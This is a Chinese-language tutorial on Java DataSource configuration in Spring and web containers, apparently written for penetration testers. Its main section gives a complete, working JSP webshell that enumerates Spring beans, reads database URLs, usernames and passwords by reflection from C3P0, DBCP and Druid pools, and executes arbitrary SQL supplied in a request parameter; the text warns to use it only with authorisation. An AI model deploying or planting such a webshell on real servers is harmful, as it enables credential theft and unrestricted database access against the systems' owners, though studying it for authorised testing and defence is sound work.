DataSource

    常见的数据源有：DBCP、C3P0、Druid、Mybatis DataSource，他们都实现于javax.sql.DataSource接口。

    在Spring MVC中我们可以自由的选择第三方数据源，通常我们会定义一个DataSource Bean用于配置和初始化数据源对象，然后在Spring中就可以通过Bean注入的方式获取数据源对象了。

    在基于XML配置的SpringMVC中配置数据源:

    如上，我们定义了一个id为dataSource的Spring Bean对象，username和password都使用了${jdbc.XXX}表示，很明显${jdbc.username}并不是数据库的用户名，这其实是采用了Spring的property-placeholder制定了一个properties文件，使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

    1. <context:property-placeholder location="classpath:/config/jdbc.properties"/>

    在Spring中我们只需要通过引用这个Bean就可以获取到数据源了，比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource。

    1. <!-- jdbcTemplate Spring JDBC 模版 -->
    2. <bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
    3.   <property name="dataSource" ref="dataSource"/>
    4. </bean>

    SpringBoot配置数据源：

    在SpringBoot中只需要在application.properties或application.yml中定义spring.datasource.xxx即可完成DataSource配置。

    我们通常可以通过查找Spring数据库配置信息找到数据库账号密码，但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息，这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作，请勿违法!)证明下危害，那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象，甚至是读取数据库密码(切记不要未经用户授权违规操作！)。

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="org.springframework.context.ApplicationContext" %>
    3. <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
    4. <%@ page import="javax.sql.DataSource" %>
    5. <%@ page import="java.sql.Connection" %>
    6. <%@ page import="java.sql.PreparedStatement" %>
    7. <%@ page import="java.sql.ResultSet" %>
    8. <%@ page import="java.sql.ResultSetMetaData" %>
    9. <%@ page import="java.util.List" %>
    10. <%@ page import="java.util.ArrayList" %>
    11. <%@ page import="java.lang.reflect.InvocationTargetException" %>
    12. <style>
    13.     th, td {
    14.         border: 1px solid #C1DAD7;
    15.         font-size: 12px;
    16.         padding: 6px;
    17.         color: #4f6b72;
    18.     }
    19. </style>
    20. <%!
    21.     // C3PO数据源类
    22.     private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
    24.     // DBCP数据源类
    25.     private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
    27.     //Druid数据源类
    28.     private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
    30.     /**
    31.      * 获取所有Spring管理的数据源
    32.      * @param ctx Spring上下文
    33.      * @return 数据源数组
    34.      */
    35.     List<DataSource> getDataSources(ApplicationContext ctx) {
    36.         List<DataSource> dataSourceList = new ArrayList<DataSource>();
    37.         String[]         beanNames      = ctx.getBeanDefinitionNames();
    39.         for (String beanName : beanNames) {
    40.             Object object = ctx.getBean(beanName);
    42.             if (object instanceof DataSource) {
    43.                 dataSourceList.add((DataSource) object);
    44.             }
    45.         }
    47.         return dataSourceList;
    49.     /**
    50.      * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
    51.      * @param ctx Spring上下文对象
    52.      * @return 数据源配置字符串
    53.      * @throws ClassNotFoundException 数据源类未找到异常
    54.      * @throws NoSuchMethodException 反射调用时方法没找到异常
    55.      * @throws InvocationTargetException 反射调用异常
    56.      * @throws IllegalAccessException 反射调用时不正确的访问异常
    57.      */
    58.     String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
    59.             NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    61.         List<DataSource> dataSourceList = getDataSources(ctx);
    63.         for (DataSource dataSource : dataSourceList) {
    64.             String className = dataSource.getClass().getName();
    65.             String url       = null;
    66.             String UserName  = null;
    67.             String PassWord  = null;
    69.             if (C3P0_CLASS_NAME.equals(className)) {
    70.                 Class clazz = Class.forName(C3P0_CLASS_NAME);
    71.                 url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
    72.                 UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
    73.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    74.             } else if (DBCP_CLASS_NAME.equals(className)) {
    75.                 Class clazz = Class.forName(DBCP_CLASS_NAME);
    76.                 url = (String) clazz.getMethod("getUrl").invoke(dataSource);
    77.                 UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
    78.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    79.             } else if (DRUID_CLASS_NAME.equals(className)) {
    80.                 Class clazz = Class.forName(DRUID_CLASS_NAME);
    81.                 url = (String) clazz.getMethod("getUrl").invoke(dataSource);
    82.                 UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
    83.                 PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
    84.             }
    86.             return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
    87.         }
    89.         return null;
    90.     }
    91. %>
    92. <%
    93.     String sql = request.getParameter("sql");// 定义需要执行的SQL语句
    95.     // 获取Spring的ApplicationContext对象
    96.     ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
    98.     // 获取Spring中所有的数据源对象
    99.     List<DataSource> dataSourceList = getDataSources(ctx);
    101.     // 检查是否获取到了数据源
    102.     if (dataSourceList == null) {
    103.         out.println("未找到任何数据源配置信息!");
    104.         return;
    107.     out.println("Spring DataSource配置信息获取测试:");
    108.     out.println("<hr/>");
    109.     out.print(printDataSourceConfig(ctx));
    110.     out.println("<hr/>");
    112.     // 定义需要查询的SQL语句
    113.     sql = sql != null ? sql : "select version()";
    115.     for (DataSource dataSource : dataSourceList) {
    116.         out.println("<hr/>");
    117.         out.println("SQL语句:<font color='red'>" + sql + "</font>");
    118.         out.println("<hr/>");
    120.         //从数据源中获取数据库连接对象
    121.         Connection connection = dataSource.getConnection();
    123.         // 创建预编译查询对象
    124.         PreparedStatement pstt = connection.prepareStatement(sql);
    126.         // 执行查询并获取查询结果对象
    127.         ResultSet rs = pstt.executeQuery();
    129.         out.println("<table><tr>");
    131.         // 获取查询结果的元数据对象
    132.         ResultSetMetaData metaData = rs.getMetaData();
    134.         // 从元数据中获取字段信息
    135.         for (int i = 1; i <= metaData.getColumnCount(); i++) {
    136.             out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
    137.         }
    139.         out.println("<tr/>");
    141.         // 获取JDBC查询结果
    142.         while (rs.next()) {
    143.             out.println("<tr>");
    145.             for (int i = 1; i <= metaData.getColumnCount(); i++) {
    146.                 out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
    147.             }
    149.             out.println("<tr/>");
    150.         }
    152.         rs.close();
    153.         pstt.close();
    154.     }
    155. %>

    读取数据源信息和执行SQL语句效果:

    上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句，其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean，然后找出所有DataSource的对象，通过反射读取出C3P0、DBCP、Druid这三类数据源的数据库配置信息，最后还利用了DataSource获取了Connection对象实现了数据库查询功能。

    Java Web Server 数据源

    除了第三方数据源库实现，标准的Web容器自身也提供了数据源服务，通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中，在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。

    Resin需要修改resin.xml,添加database配置,参考：

    1. <database jndi-name='jdbc/test'>
    2.   <driver type="com.mysql.jdbc.Driver">
    3.     <url>jdbc:mysql://localhost:3306/mysql</url>
    4.     <user>root</user>
    5.     <password>root</password>